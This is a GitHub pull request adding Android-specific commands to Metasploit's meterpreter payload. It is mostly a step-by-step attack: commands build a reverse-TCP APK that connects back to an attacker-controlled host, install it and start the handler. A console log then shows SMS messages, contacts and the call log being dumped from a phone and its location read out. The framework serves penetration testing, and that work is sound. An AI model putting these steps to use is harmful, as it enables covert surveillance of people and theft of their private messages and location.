rapid7/metasploit-javapayload — pull request #13 by AnwarMohamed (2014-02-26 01:25:55+00:00)
Title: android meterpreter extension

I have added special commands for android into the meterpreter console like:

"dump_sms" => "Get sms messages",
"dump_contacts" => "Get contacts list",
"geolocate" => "Get current lat-long using geolocation",
"dump_calllog" => "Get call log"
"check_root" => "Check if device is rooted",
"device_shutdown" => "Shutdown device"

to launch the attack:
ruby ./msfpayload android/meterpreter/reverse_tcp LHOST=10.0.0.1 R > droid.apk
adb install droid.apk
ruby msfconsole -x "sleep 2; use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 10.0.0.1; exploit"

payload => android/meterpreter/reverse_tcp
LHOST => 10.0.0.1
[] Started reverse handler on 10.0.0.1:4444
[] Starting the payload handler...
[] Sending stage (42777 bytes) to 10.0.0.21
[] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.21:39982) at 2013-08-10 18:58:30 +0200

meterpreter > help

Android Commands:
Command Description

check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
device_shutdown Shutdown device
check_root Check if device is rooted

meterpreter > sysinfo
Computer : localhost
OS : Android 4.1.1 (API 16) - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android

meterpreter > dump_calllog
[] Fetching 164 entries
[] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[] Fetching 896 sms messages
[] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[] Fetching 618 contacts into list
[] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

Latitude : 31.2186009
Longitude : 29.9448264
meterpreter > exit